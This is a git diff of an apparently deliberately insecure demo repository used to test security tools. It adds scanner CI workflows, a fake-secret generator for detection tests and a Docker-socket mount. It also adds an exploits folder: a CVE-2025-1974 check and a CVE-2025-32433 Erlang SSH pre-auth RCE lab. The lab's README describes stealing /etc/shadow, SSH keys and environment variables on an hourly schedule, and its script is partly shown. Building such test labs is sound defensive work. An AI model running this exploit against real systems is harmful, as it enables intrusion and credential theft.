diff --git a/.dryrunsecurity.yaml b/.dryrunsecurity.yaml
new file mode 100644
index 0000000..d3c7ab0
--- /dev/null
+++ b/.dryrunsecurity.yaml
@@ -0,0 +1,11 @@
+sensitiveCodepaths:
+  # Files only allowed authors can modify
+  # - 'app.js'
+  # - 'controllers/**/*.js'
+allowedAuthors:
+  usernames:
+    - 'confusedcrib'
+notificationList:
+  # GitHub username or team name
+  # - '@DryRunSec/security'
+  # - '@john-doe'
diff --git a/.github/workflows/LAST.yml b/.github/workflows/LAST.yml
deleted file mode 100644
index 8c5b8f7..0000000
--- a/.github/workflows/LAST.yml
+++ /dev/null
@@ -1,34 +0,0 @@
-name: LAST
-
-on:
-  pull_request:
-    types: [opened, synchronize, reopened]
-
-jobs:
-  LAST-Scan:
-    runs-on: ubuntu-latest
-    steps:
-
-    - uses: actions/checkout@v3
-      with:
-        fetch-depth: 0  # Fetch all history for all branches and tags
-        ref: ${{ github.head_ref }}
-    
-    - name: Fetch target branch
-      run: git fetch origin ${{ github.base_ref }}:${{ github.base_ref }}
-
-    - name: Set up Python 3.12
-      uses: actions/setup-python@v3
-      with:
-        python-version: 3.12
-
-    - name: Install dependencies
-      run: |
-        python -m pip install --upgrade pip
-        pip install latio
-    
-    - name: Analyzing the code with LAST
-      env:
-        OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
-      run: |
-        latio partial-github . ${{ github.base_ref }} ${{ github.head_ref }}
diff --git a/.github/workflows/amplify.yml b/.github/workflows/amplify.yml
new file mode 100644
index 0000000..69a6744
--- /dev/null
+++ b/.github/workflows/amplify.yml
@@ -0,0 +1,22 @@
+---
+name: Amplify Security
+on:
+  pull_request: {}
+  workflow_dispatch: {}
+  push:
+    branches: ["master", "main"]
+
+permissions:
+  contents: read
+  id-token: write
+
+jobs:
+  amplify-security-scan:
+    name: Amplify Security Scan
+    runs-on: ubuntu-latest
+    if: (!github.event.pull_request.head.repo.fork && github.actor != 'dependabot[bot]')
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v4
+      - name: Amplify Runner
+        uses: amplify-security/runner-action@main
diff --git a/.github/workflows/backslash.yml b/.github/workflows/backslash.yml
new file mode 100644
index 0000000..5307f66
--- /dev/null
+++ b/.github/workflows/backslash.yml
@@ -0,0 +1,21 @@
+name: 'CI | Backslash scan'
+
+on:
+  workflow_dispatch:
+  pull_request:
+    branches:
+    - main
+
+env:
+  API_KEY: ${{ secrets.BACKSLASH_API_KEY }}
+
+jobs:
+  backslash-scan:
+    name: Scaning
+    runs-on: ubuntu-latest
+    steps:
+      - name: Backslash scan step
+        uses: backslash-security/scan-action@main
+        with:
+          authToken: ${{ env.API_KEY }}
+          prScan: true
diff --git a/.github/workflows/base64-secrets-checker.yml b/.github/workflows/base64-secrets-checker.yml
new file mode 100644
index 0000000..6ee4498
--- /dev/null
+++ b/.github/workflows/base64-secrets-checker.yml
@@ -0,0 +1,251 @@
+name: Generate Fake Secrets for Testing
+
+on:
+  workflow_dispatch:  # Allow manual triggering
+
+jobs:
+  generate-fake-secrets:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Generate GitHub Tokens
+        run: |
+          echo "::group::GitHub Tokens (Base64 Encoded)"
+          
+          # Generate fake GitHub personal access token
+          FAKE_GH_TOKEN="ghp_$(openssl rand -hex 20)"
+          echo "Fake GitHub PAT: $FAKE_GH_TOKEN"
+          echo "Base64 encoded: $(echo -n "$FAKE_GH_TOKEN" | base64)"
+          echo "Double encoded: $(echo -n "$FAKE_GH_TOKEN" | base64 | base64)"
+          
+          # Generate fake GitHub OAuth token
+          FAKE_GH_OAUTH="gho_$(openssl rand -hex 20)"
+          echo "Fake GitHub OAuth: $FAKE_GH_OAUTH"
+          echo "Base64 encoded: $(echo -n "$FAKE_GH_OAUTH" | base64)"
+          
+          # Generate fake GitHub user-to-server token
+          FAKE_GH_USER="ghu_$(openssl rand -hex 20)"
+          echo "Fake GitHub User Token: $FAKE_GH_USER"
+          echo "Base64 encoded: $(echo -n "$FAKE_GH_USER" | base64)"
+          
+          # Generate fake GitHub server-to-server token
+          FAKE_GH_SERVER="ghs_$(openssl rand -hex 20)"
+          echo "Fake GitHub Server Token: $FAKE_GH_SERVER"
+          echo "Base64 encoded: $(echo -n "$FAKE_GH_SERVER" | base64)"
+          
+          # Generate fake GitHub refresh token
+          FAKE_GH_REFRESH="ghr_$(openssl rand -hex 20)"
+          echo "Fake GitHub Refresh Token: $FAKE_GH_REFRESH"
+          echo "Base64 encoded: $(echo -n "$FAKE_GH_REFRESH" | base64)"
+          
+          echo "::endgroup::"
+
+      - name: Generate AWS Credentials
+        run: |
+          echo "::group::AWS Credentials (Base64 Encoded)"
+          
+          # Generate fake AWS access key
+          FAKE_AWS_KEY="AKIA$(openssl rand -hex 8 | tr '[:lower:]' '[:upper:]')"
+          FAKE_AWS_SECRET="$(openssl rand -base64 30)"
+          
+          echo "Fake AWS Access Key: $FAKE_AWS_KEY"
+          echo "Base64 encoded: $(echo -n "$FAKE_AWS_KEY" | base64)"
+          
+          echo "Fake AWS Secret: $FAKE_AWS_SECRET"
+          echo "Base64 encoded: $(echo -n "$FAKE_AWS_SECRET" | base64)"
+          
+          # Create a JSON with credentials and encode it
+          AWS_CREDS=$(cat <<EOF
+          {
+            "AccessKey": "$FAKE_AWS_KEY",
+            "SecretKey": "$FAKE_AWS_SECRET"
+          }
+          EOF
+          )
+          
+          echo "AWS Credentials JSON, Base64 encoded:"
+          echo -n "$AWS_CREDS" | base64
+          
+          echo "::endgroup::"
+
+      - name: Generate API Keys
+        run: |
+          echo "::group::API Keys (Base64 Encoded)"
+          
+          # Generate fake generic API key
+          FAKE_API_KEY="api_key_$(openssl rand -hex 16)"
+          echo "Fake API Key: $FAKE_API_KEY"
+          echo "Base64 encoded: $(echo -n "$FAKE_API_KEY" | base64)"
+          
+          # Generate fake Stripe API key
+          FAKE_STRIPE_KEY="sk_test_$(openssl rand -hex 24)"
+          echo "Fake Stripe Key: $FAKE_STRIPE_KEY"
+          echo "Base64 encoded: $(echo -n "$FAKE_STRIPE_KEY" | base64)"
+          
+          # Generate fake Twilio API key
+          FAKE_TWILIO_SID="AC$(openssl rand -hex 16)"
+          FAKE_TWILIO_TOKEN="$(openssl rand -hex 16)"
+          echo "Fake Twilio SID: $FAKE_TWILIO_SID"
+          echo "Base64 encoded: $(echo -n "$FAKE_TWILIO_SID" | base64)"
+          echo "Fake Twilio Token: $FAKE_TWILIO_TOKEN"
+          echo "Base64 encoded: $(echo -n "$FAKE_TWILIO_TOKEN" | base64)"
+          
+          echo "::endgroup::"
+
+      - name: Generate Private Keys and Certificates
+        run: |
+          echo "::group::Private Keys and Certificates (Base64 Encoded)"
+          
+          # Generate a self-signed certificate and private key
+          openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=example.com" 2>/dev/null
+          
+          PRIVATE_KEY=$(cat key.pem)
+          CERTIFICATE=$(cat cert.pem)
+          
+          echo "RSA Private Key, Base64 encoded:"
+          cat key.pem | base64
+          
+          echo "Certificate, Base64 encoded:"
+          cat cert.pem | base64
+          
+          # Generate SSH key and encode it
+          ssh-keygen -t rsa -b 2048 -f id_rsa -N "" -q
+          
+          echo "SSH Private Key, Base64 encoded:"
+          cat id_rsa | base64
+          
+          echo "::endgroup::"
+
+      - name: Generate Database Connection Strings
+        run: |
+          echo "::group::Database Connection Strings (Base64 Encoded)"
+          
+          # Generate fake PostgreSQL connection string
+          FAKE_PG_CONN="postgresql://user:$(openssl rand -hex 8)@database.example.com:5432/db_name"
+          echo "Fake PostgreSQL Connection: $FAKE_PG_CONN"
+          echo "Base64 encoded: $(echo -n "$FAKE_PG_CONN" | base64)"
+          
+          # Generate fake MySQL connection string
+          FAKE_MYSQL_CONN="mysql://admin:$(openssl rand -hex 8)@mysql.example.com/database"
+          echo "Fake MySQL Connection: $FAKE_MYSQL_CONN"
+          echo "Base64 encoded: $(echo -n "$FAKE_MYSQL_CONN" | base64)"
+          
+          # Generate fake MongoDB connection string
+          FAKE_MONGO_CONN="mongodb+srv://user:$(openssl rand -hex 10)@cluster0.mongodb.net/test?retryWrites=true&w=majority"
+          echo "Fake MongoDB Connection: $FAKE_MONGO_CONN"
+          echo "Base64 encoded: $(echo -n "$FAKE_MONGO_CONN" | base64)"
+          
+          echo "::endgroup::"
+
+      - name: Generate JWT Tokens
+        run: |
+          echo "::group::JWT Tokens (Base64 Encoded)"
+          
+          # Create fake JWT header
+          JWT_HEADER='{"alg":"HS256","typ":"JWT"}'
+          # Create fake JWT payload with various claims
+          JWT_PAYLOAD=$(cat <<EOF
+          {
+            "sub": "1234567890",
+            "name": "Test User",
+            "iat": 1516239022,
+            "exp": 1718577022,
+            "iss": "test-issuer",
+            "aud": "test-audience"
+          }
+          EOF
+          )
+          
+          # Base64 encode each part
+          HEADER_B64=$(echo -n "$JWT_HEADER" | base64 | tr -d '=' | tr '+/' '-_')
+          PAYLOAD_B64=$(echo -n "$JWT_PAYLOAD" | base64 | tr -d '=' | tr '+/' '-_')
+          # Fake signature (not valid, just for testing)
+          SIGNATURE=$(openssl rand -hex 16)
+          
+          # Combine to form the JWT
+          FAKE_JWT="${HEADER_B64}.${PAYLOAD_B64}.${SIGNATURE}"
+          
+          echo "Fake JWT Token: $FAKE_JWT"
+          echo "Base64 encoded: $(echo -n "$FAKE_JWT" | base64)"
+          
+          echo "::endgroup::"
+
+      - name: Combine Multiple Secrets in a Single String
+        run: |
+          echo "::group::Combined Secrets (Multiple in one string)"
+          
+          # Create a file with multiple secrets in different formats
+          cat > multi-secret.txt << EOF
+          This file contains multiple secrets in one file.
+          
+          GitHub token: ghp_$(openssl rand -hex 20)
+          
+          Base64 encoded AWS key: $(echo -n "AKIA$(openssl rand -hex 8 | tr '[:lower:]' '[:upper:]')" | base64)
+          
+          Configuration file content:
+          {
+            "apiKey": "$(openssl rand -hex 16)",
+            "githubToken": "$(echo -n "gho_$(openssl rand -hex 20)" | base64)",
+            "database": {
+              "user": "admin",
+              "password": "$(openssl rand -base64 12)"
+            }
+          }
+          EOF
+          
+          echo "File with multiple secrets, Base64 encoded:"
+          cat multi-secret.txt | base64
+          
+          echo "::endgroup::"
+
+      - name: Embed Secrets in Different File Formats
+        run: |
+          echo "::group::Secrets in Different Formats"
+          
+          # Create a fake environment file (.env)
+          cat > .env.fake << EOF
+          # API Configuration
+          API_KEY=$(openssl rand -hex 16)
+          API_SECRET=$(openssl rand -base64 24)
+          
+          # GitHub Access
+          GITHUB_TOKEN=gho_$(openssl rand -hex 20)
+          
+          # Database
+          DB_PASSWORD=$(openssl rand -base64 16)
+          MONGO_URI=mongodb+srv://admin:$(openssl rand -hex 12)@example.mongodb.net/database
+          EOF
+          
+          echo "Fake .env file, Base64 encoded:"
+          cat .env.fake | base64
+          
+          # Create a fake YAML config
+          cat > config.yaml << EOF
+          apiVersion: v1
+          kind: Secret
+          metadata:
+            name: app-secrets
+          data:
+            api_key: $(echo -n "$(openssl rand -hex 16)" | base64)
+            github_token: $(echo -n "ghp_$(openssl rand -hex 20)" | base64)
+            jwt_secret: $(openssl rand -base64 32)
+          EOF
+          
+          echo "Fake YAML config, Base64 encoded:"
+          cat config.yaml | base64
+          
+          echo "::endgroup::"
+
+      - name: Generate Outputs Summary
+        run: |
+          echo "## Secret Detection Test Data" >> $GITHUB_STEP_SUMMARY
+          echo "This workflow has generated various fake secrets for testing your detection tool." >> $GITHUB_STEP_SUMMARY
+          echo "" >> $GITHUB_STEP_SUMMARY
+          echo "✅ Generated GitHub tokens (PAT, OAuth, etc.)" >> $GITHUB_STEP_SUMMARY
+          echo "✅ Generated AWS credentials" >> $GITHUB_STEP_SUMMARY
+          echo "✅ Generated API keys" >> $GITHUB_STEP_SUMMARY
+          echo "✅ Generated private keys and certificates" >> $GITHUB_STEP_SUMMARY
+          echo "✅ Generated database connection strings" >> $GITHUB_STEP_SUMMARY
+          echo "✅ Generated JWT tokens" >> $GITHUB_STEP_SUMMARY
+          echo "✅ Generated combined secrets in various formats" >> $GITHUB_STEP_SUMMARY
+          echo "" >> $GITHUB_STEP_SUMMARY
+          echo "All of these have been output to the workflow logs in base64 encoded format." >> $GITHUB_STEP_SUMMARY
diff --git a/.github/workflows/pixee.yml b/.github/workflows/pixee.yml
new file mode 100644
index 0000000..6941512
--- /dev/null
+++ b/.github/workflows/pixee.yml
@@ -0,0 +1,28 @@
+name: Snyk Analysis
+
+on: 
+  workflow_dispatch:
+  push:
+
+permissions:
+  contents: read
+  id-token: write
+
+jobs:
+  snyk:
+    name: Pixee Snyk Analysis
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: snyk/actions/setup@0.4.0
+      - name: Run Snyk Code
+        run: snyk code test --org=personal-S75uTmrVsW9D2mctWJPs9d --sarif-file-output=pixee-snyk.sarif.json
+        continue-on-error: true
+        env:
+          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
+      - name: Remediate Snyk Findings with Pixee
+        uses: pixee/upload-tool-results-action@v2
+        with:
+          tool: snyk
+          file: pixee-snyk.sarif.json
+          pixee-api-url: "https://latio.getpixee.com"
\ No newline at end of file
diff --git a/.github/workflows/publish-insecure.yml b/.github/workflows/publish-insecure.yml
index 40c5634..40e32a9 100644
--- a/.github/workflows/publish-insecure.yml
+++ b/.github/workflows/publish-insecure.yml
@@ -1,92 +1,70 @@
-# This workflow uses actions that are not certified by GitHub.
-# They are provided by a third-party and are governed by
-# separate terms of service, privacy policy, and support
-# documentation.
-
-# GitHub recommends pinning actions to a commit SHA.
-# To get a newer version, you will need to update the SHA.
-# You can also reference a tag or branch, but the action may change without warning.
-
 name: Publish Docker images
 
 on:
   release:
     types: [published]
+  schedule:
+    - cron: '0 0 * * *'  # Nightly builds
+  workflow_dispatch:  # Manually trigger a workflow run
 
 jobs:
   push_to_registry:
     name: Push Docker images to Docker Hub
     runs-on: ubuntu-latest
+
+    strategy:
+      matrix:
+        image-data:
+          - name: insecure-app
+            image: confusedcrib/insecure-app
+            context: ./insecure-app
+            dockerfile: ./insecure-app/Dockerfile
+          - name: insecure-java
+            image: confusedcrib/insecure-java
+            context: ./insecure-java
+            dockerfile: ./insecure-java/Dockerfile
+          - name: insecure-js
+            image: confusedcrib/insecure-js
+            context: ./insecure-js
+            dockerfile: ./insecure-js/Dockerfile
+          - name: workload-security-evaluator
+            image: confusedcrib/workload-security-evaluator
+            context: ./workload-security-evaluator
+            dockerfile: ./workload-security-evaluator/Dockerfile
+          - name: insecure-api
+            image: confusedcrib/insecure-api
+            context: ./insecure-api
+            dockerfile: ./insecure-api/Dockerfile
+          - name: insecure-ai
+            image: confusedcrib/insecure-ai
+            context: ./insecure-ai
+            dockerfile: ./insecure-ai/Dockerfile
+
     steps:
       - name: Check out the repo
         uses: actions/checkout@v4
       
       - name: Log in to Docker Hub
-        uses: docker/login-action@f4ef78c080cd8ba55a85445d5b36e214a81df20a
+        uses: docker/login-action@v2
         with:
           username: ${{ secrets.DOCKER_USERNAME }}
           password: ${{ secrets.DOCKER_PASSWORD }}
       
-      # Build and push insecure-app Docker image
-      - name: Extract metadata for insecure-app
-        id: meta-app
-        uses: docker/metadata-action@9ec57ed1fcdbf14dcef7dfbe97b2010124a938b7
-        with:
-          images: confusedcrib/insecure-app
-          
-      - name: Build and push insecure-app Docker image
-        uses: docker/build-push-action@3b5e8027fcad23fda98b2e3ac259d8d67585f671
-        with:
-          context: .
-          file: ./insecure-app/Dockerfile
-          push: true
-          tags: ${{ steps.meta-app.outputs.tags }}
-          labels: ${{ steps.meta-app.outputs.labels }}
-
-      # Build and push insecure-java Docker image
-      - name: Extract metadata for insecure-java
-        id: meta-java
-        uses: docker/metadata-action@9ec57ed1fcdbf14dcef7dfbe97b2010124a938b7
-        with:
-          images: confusedcrib/insecure-java
-      
-      - name: Build and push insecure-java Docker image
-        uses: docker/build-push-action@3b5e8027fcad23fda98b2e3ac259d8d67585f671
-        with:
-          context: .
-          file: ./insecure-java/Dockerfile
-          push: true
-          tags: ${{ steps.meta-java.outputs.tags }}
-          labels: ${{ steps.meta-java.outputs.labels }}
-
-      # Build and push insecure-js Docker image
-      - name: Extract metadata for insecure-js
-        id: meta-js
-        uses: docker/metadata-action@9ec57ed1fcdbf14dcef7dfbe97b2010124a938b7
-        with:
-          images: confusedcrib/insecure-js
-      
-      - name: Build and push insecure-js Docker image
-        uses: docker/build-push-action@3b5e8027fcad23fda98b2e3ac259d8d67585f671
-        with:
-          context: .
-          file: ./insecure-js/Dockerfile
-          push: true
-          tags: ${{ steps.meta-js.outputs.tags }}
-          labels: ${{ steps.meta-js.outputs.labels }}
-
-      # Build and push workload-security Docker image
-      - name: Extract metadata for insecure-java
-        id: meta-wse
-        uses: docker/metadata-action@9ec57ed1fcdbf14dcef7dfbe97b2010124a938b7
+      - name: Extract metadata for ${{ matrix.image-data.name }}
+        id: meta
+        uses: docker/metadata-action@v4
         with:
-          images: confusedcrib/workload-security-evaluator
+          images: ${{ matrix.image-data.image }}
+          tags: |
+            type=raw,value=latest
+            type=schedule,pattern=nightly
+            type=semver,pattern={{version}}
       
-      - name: Build and push insecure-java Docker image
-        uses: docker/build-push-action@3b5e8027fcad23fda98b2e3ac259d8d67585f671
+      - name: Build and push ${{ matrix.image-data.name }} Docker image
+        uses: docker/build-push-action@v4
         with:
-          context: .
-          file: ./workload-security-evaluator/Dockerfile
+          context: ${{ matrix.image-data.context }}
+          file: ${{ matrix.image-data.dockerfile }}
           push: true
-          tags: ${{ steps.meta-wse.outputs.tags }}
-          labels: ${{ steps.meta-wse.outputs.labels }}
\ No newline at end of file
+          tags: ${{ steps.meta.outputs.tags }}
+          labels: ${{ steps.meta.outputs.labels }}
diff --git a/.github/workflows/soos.yml b/.github/workflows/soos.yml
new file mode 100644
index 0000000..bd27073
--- /dev/null
+++ b/.github/workflows/soos.yml
@@ -0,0 +1,85 @@
+on: [push]
+
+jobs:
+  soos-security-scans:
+    name: SOOS Security Scans
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@master
+      
+      - name: Set up Python
+        uses: actions/setup-python@v5
+        with:
+          python-version: '3.12'
+      
+#      - name: Install Dependencies
+#        run: |
+#          python -m pip install --upgrade pip
+#          python -m pip install cyclonedx-bom
+#      
+#      - name: Generate CycloneDX SBOM
+#        run: |
+#          FIRST_REQ=$(find . -name "requirements.txt" -type f | head -n 1)
+#          if [ -n "$FIRST_REQ" ]; then
+#            DIR=$(dirname "$FIRST_REQ")
+#            echo "Generating BOM from $FIRST_REQ..."
+#            cd "$DIR"
+#            cyclonedx-py requirements -i "requirements.txt" -o "../bom.cdx.json"
+#            cd - > /dev/null
+#          else
+#            echo "No requirements.txt found"
+#            exit 1
+#          fi
+#      
+#      - name: Run SOOS SBOM Scan
+#        uses: soos-io/soos-sbom-github-action@v1
+#        with:
+#          client_id: ${{ secrets.SOOS_CLIENT_ID }}
+#          api_key: ${{ secrets.SOOS_API_KEY }}
+#          project_name: ${{ github.event.repository.name }}
+#          sbom_path: "bom.cdx.json"
+#          persist_credentials: false
+
+      - name: Install OpenGrep
+        run: |
+          curl -L https://github.com/opengrep/opengrep/releases/download/v1.1.2/opengrep_manylinux_x86 -o opengrep
+          chmod +x opengrep
+          sudo mv opengrep /usr/local/bin/
+      
+      - name: Run OpenGrep Scan
+        run: |
+          opengrep scan --verbose --config=p/default --config=p/owasp-top-ten --config=p/cwe-top-25 --sarif --sarif-output=opengrep.sarif.json .
+      
+      - name: Run SOOS SCA Scan
+        uses: soos-io/soos-sca-github-action@v2
+        with:
+          client_id: ${{ secrets.SOOS_CLIENT_ID }}
+          api_key: ${{ secrets.SOOS_API_KEY }}
+          project_name: ${{ github.event.repository.name }}
+          persist_credentials: false
+      
+      - name: Run SOOS DAST Scan
+        uses: soos-io/soos-dast-github-action@v2
+        with:
+          client_id: ${{ secrets.SOOS_CLIENT_ID }}
+          api_key: ${{ secrets.SOOS_API_KEY }}
+          project_name: ${{ github.event.repository.name }}
+          target_url: https://latio.tech
+          persist_credentials: false
+      
+      - name: Run SOOS CSA Analysis
+        uses: soos-io/soos-csa-github-action@v1
+        with:
+          client_id: ${{ secrets.SOOS_CLIENT_ID }}
+          api_key: ${{ secrets.SOOS_API_KEY }}
+          project_name: ${{ github.event.repository.name }}
+          target_image: confusedcrib/insecure-ai:latest
+          persist_credentials: false
+      
+      - name: Run SOOS SAST Scan
+        uses: soos-io/soos-sast-github-action@v1
+        with:
+          client_id: ${{ secrets.SOOS_CLIENT_ID }}
+          api_key: ${{ secrets.SOOS_API_KEY }}
+          project_name: ${{ github.event.repository.name }}
+          persist_credentials: false
\ No newline at end of file
diff --git a/.gitignore b/.gitignore
index 19ff220..3ca5b33 100644
--- a/.gitignore
+++ b/.gitignore
@@ -7,8 +7,8 @@ __pycache__/
 *.egg
 *.log
 *.pot
-*.db
 *.sqlite
+*.dccache
 
 # Dist directory used for packaging
 dist/
@@ -64,3 +64,14 @@ terraform/.terraform.lock.hcl
 terraform/.terraform.tfstate.lock.info
 node_modules
 node_modules
+
+# Terraform
+*.tfvars
+*.tfvars.json
+.terraform/
+*.tfstate
+*.tfstate.*
+
+
+#Ignore cursor AI rules
+.cursor/rules/codacy.mdc
diff --git a/docker-compose.yml b/docker-compose.yml
new file mode 100644
index 0000000..4f8cc49
--- /dev/null
+++ b/docker-compose.yml
@@ -0,0 +1,51 @@
+version: '3.8'
+
+services:
+  insecure-app:
+    build:
+      context: ./insecure-app
+      dockerfile: Dockerfile
+    image: confusedcrib/insecure-app:latest
+    ports:
+      - "8080:8080"  # Changed from 5000 to match README
+    volumes:
+      - /var/run/docker.sock:/var/run/docker.sock  # Needed if app interacts with Docker
+
+  insecure-java:
+    build:
+      context: ./insecure-java
+      dockerfile: Dockerfile
+    image: confusedcrib/insecure-java:latest
+    ports:
+      - "8081:8080"  # Changed host port to 8081, container still uses 8080
+
+  insecure-js:
+    build:
+      context: ./insecure-js
+      dockerfile: Dockerfile
+    image: confusedcrib/insecure-js:latest
+    ports:
+      - "3000:3000"  # Node.js app port
+    environment:
+      - NODE_ENV=development
+
+  insecure-api:
+    build:
+      context: ./insecure-api
+      dockerfile: Dockerfile
+    image: confusedcrib/insecure-api:latest
+    ports:
+      - "8000:8000"  # FastAPI/Uvicorn port
+    environment:
+      - PYTHONUNBUFFERED=1
+
+  workload-security-evaluator:
+    build:
+      context: ./workload-security-evaluator
+      dockerfile: Dockerfile
+    image: confusedcrib/workload-security-evaluator:latest
+
+networks:
+  default:
+    name: insecure-network
+    driver: bridge
\ No newline at end of file
diff --git a/exploits/CVE-2025-1974.md b/exploits/CVE-2025-1974.md
new file mode 100644
index 0000000..1c1f08a
--- /dev/null
+++ b/exploits/CVE-2025-1974.md
@@ -0,0 +1,38 @@
+# 🚨 Ingress NGINX Admission Controller Exposure Check
+
+Want to check if your Ingress NGINX is vulnerable? Here's how to do it step by step! 🕵️‍♂️
+
+## 🔍 Prerequisites Check
+
+1. **Check if you're using Ingress NGINX**
+```bash
+kubectl get pods --all-namespaces --selector app.kubernetes.io/name=ingress-nginx
+```
+
+2. **Check your version**
+```bash
+kubectl -n ingress-nginx get deploy ingress-nginx-controller -o jsonpath="{.spec.template.spec.containers[0].image}"
+```
+
+3. **Get your ingress-nginx-controller IP**
+```bash
+kubectl -n ingress-nginx get svc ingress-nginx-controller -o jsonpath="{.spec.clusterIP}"
+```
+
+## 🎯 Testing for Vulnerability
+
+### From inside the ingress-nginx pod:
+```bash
+nuclei -u https://localhost:8443 -t ./nuclei-ingess.yaml
+```
+
+### From anywhere in the cluster:
+Use the Kubernetes DNS name:
+```
+ingress-nginx-controller.ingress-nginx.svc.cluster.local
+```
+
+## 📝 Notes
+- The DNS name follows the pattern: `<service-name>.<namespace>.svc.cluster.local`
+- Replace `<service-name>` with your service name (e.g., ingress-nginx-controller)
+- Replace `<namespace>` with your namespace (e.g., ingress-nginx)
\ No newline at end of file
diff --git a/exploits/CVE-2025-32433/README.md b/exploits/CVE-2025-32433/README.md
new file mode 100644
index 0000000..74f67e7
--- /dev/null
+++ b/exploits/CVE-2025-32433/README.md
@@ -0,0 +1,62 @@
+# CVE-2025-32433: Erlang SSH Pre-Auth RCE Exploit
+
+This exploit targets a pre-authentication remote code execution vulnerability in the Erlang SSH server implementation. It allows attackers to execute arbitrary Erlang code without authentication. It's an extension of the work done here https://github.com/ProDefense/CVE-2025-32433
+
+## Exploitation Steps
+
+1. Create the Erlang namespace in your Kubernetes cluster:
+   ```bash
+   kubectl create namespace erlang
+   ```
+
+2. Deploy the vulnerable SSH server:
+   ```bash
+   cd ssh_server
+   ./deploy.sh
+   ```
+
+3. Deploy the exploit that runs hourly:
+   ```bash
+   cd ssh_exploit
+   ./deploy.sh
+   ```
+
+4. View the exfiltrated data:
+   ```bash
+   # List the exploit pod
+   kubectl get pods -n erlang -l app=ssh-exploit
+   
+   # Check exploit logs to see if data was captured
+   kubectl logs -n erlang -l app=ssh-exploit
+   
+   # Examine captured files in the pod
+   kubectl exec -it $(kubectl get pod -n erlang -l app=ssh-exploit -o name) -n erlang -- ls -la /app/captured_data
+   
+   # Read a specific captured file
+   kubectl exec -it $(kubectl get pod -n erlang -l app=ssh-exploit -o name) -n erlang -- cat /app/captured_data/env_vars_*.txt
+   ```
+
+## Exploit Details
+
+The exploit performs the following actions:
+
+1. Discovers the SSH server service in the Kubernetes cluster
+2. Establishes a connection to the vulnerable server
+3. Sends specially crafted SSH packets to trigger the vulnerability
+4. Executes Erlang code that:
+   - Collects environment variables
+   - Reads sensitive files like /etc/passwd, /etc/shadow
+   - Searches for SSH keys
+   - Gathers basic host information
+5. Exfiltrates the data to the listener running in the exploit pod
+6. Saves the data to the `/app/captured_data` directory
+
+The exploit runs hourly from a deployment in the same cluster, demonstrating how an attacker could maintain persistent access and regularly extract sensitive information.
+
+## Components
+
+- **ssh_server/**: Contains the vulnerable SSH server deployment
+- **ssh_exploit/**: Contains the exploit code and deployment
+  - `CVE-2025-32433.py`: The main exploit script
+  - `listener.py`: TCP listener that receives exfiltrated data
+  - `exploit-deployment.yaml`: Kubernetes deployment for the exploit
diff --git a/exploits/CVE-2025-32433/ssh_exploit/CVE-2025-32433.py b/exploits/CVE-2025-32433/ssh_exploit/CVE-2025-32433.py
new file mode 100644
index 0000000..fab8103
--- /dev/null
+++ b/exploits/CVE-2025-32433/ssh_exploit/CVE-2025-32433.py
@@ -0,0 +1,285 @@
+import socket
+import struct
+import time
+import os
+import requests
+import json
+from kubernetes import client, config
+
+def discover_ssh_server():
+    try:
+        print("[*] Attempting to load in-cluster Kubernetes config...")
+        config.load_incluster_config()
+        print("[+] Successfully loaded in-cluster config")
+    except Exception as e:
+        print(f"[!] Failed to load in-cluster config: {e}")
+        print("[*] Falling back to kubeconfig...")
+        try:
+            config.load_kube_config()
+            print("[+] Successfully loaded kubeconfig")
+        except Exception as e:
+            print(f"[!] Failed to load kubeconfig: {e}")
+            raise
+    
+    v1 = client.CoreV1Api()
+    
+    try:
+        print("[*] Looking up ssh-server service...")
+        service = v1.read_namespaced_service(
+            name="ssh-server",
+            namespace="erlang"
+        )
+        print(f"[+] Found service: {service.metadata.name}")
+        print(f"[+] Service IP: {service.spec.cluster_ip}")
+    except Exception as e:
+        print(f"[!] Failed to get service details: {e}")
+    
+    try:
+        print("[*] Looking up ssh-server pods...")
+        pods = v1.list_namespaced_pod(
+            namespace="erlang",
+            label_selector="app=ssh-server"
+        )
+        
+        if not pods.items:
+            print("[!] No SSH server pods found")
+        else:
+            print(f"[+] Found {len(pods.items)} pod(s)")
+            for pod in pods.items:
+                print(f"[+] Pod: {pod.metadata.name}")
+                print(f"[+] Pod IP: {pod.status.pod_ip}")
+                print(f"[+] Pod Status: {pod.status.phase}")
+                print(f"[+] Pod Conditions: {pod.status.conditions}")
+    except Exception as e:
+        print(f"[!] Failed to get pod details: {e}")
+    
+    # Return service name (for DNS) and pod IP as fallback
+    return {
+        "service_host": "ssh-server.erlang.svc.cluster.local",
+        "pod_ip": pods.items[0].status.pod_ip if pods.items else None,
+        "port": 2222
+    }
+
+# Try to discover the server, fall back to env vars
+try:
+    server_info = discover_ssh_server()
+    HOST = server_info["service_host"]
+    PORT = server_info["port"]
+    print(f"[*] Discovered SSH server at {HOST}:{PORT}")
+except Exception as e:
+    print(f"[!] Failed to discover server: {e}")
+    print("[*] Falling back to environment variables")
+    HOST = os.environ.get("HOST", "127.0.0.1")
+    PORT = int(os.environ.get("PORT", "2222"))
+
+print(f"[*] Targeting {HOST}:{PORT}")
+
+# Add DNS resolution check
+try:
+    print(f"[*] Attempting DNS resolution for {HOST}...")
+    resolved_ip = socket.gethostbyname(HOST)
+    print(f"[+] Successfully resolved {HOST} to {resolved_ip}")
+except Exception as e:
+    print(f"[!] DNS resolution failed: {e}")
+
+# Add network connectivity check
+try:
+    print(f"[*] Testing network connectivity to {HOST}:{PORT}...")
+    test_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    test_socket.settimeout(5)
+    test_socket.connect((HOST, PORT))
+    test_socket.close()
+    print(f"[+] Successfully connected to {HOST}:{PORT}")
+except Exception as e:
+    print(f"[!] Network connectivity test failed: {e}")
+    print("[!] Please check if the target service is running and accessible")
+
+# Helper to format SSH string (4-byte length + bytes)
+def string_payload(s):
+    s_bytes = s.encode("utf-8")
+    return struct.pack(">I", len(s_bytes)) + s_bytes
+
+
+# Builds SSH_MSG_CHANNEL_OPEN for session
+def build_channel_open(channel_id=0):
+    return (
+        b"\x5a"  # SSH_MSG_CHANNEL_OPEN
+        + string_payload("session")
+        + struct.pack(">I", channel_id)  # sender channel ID
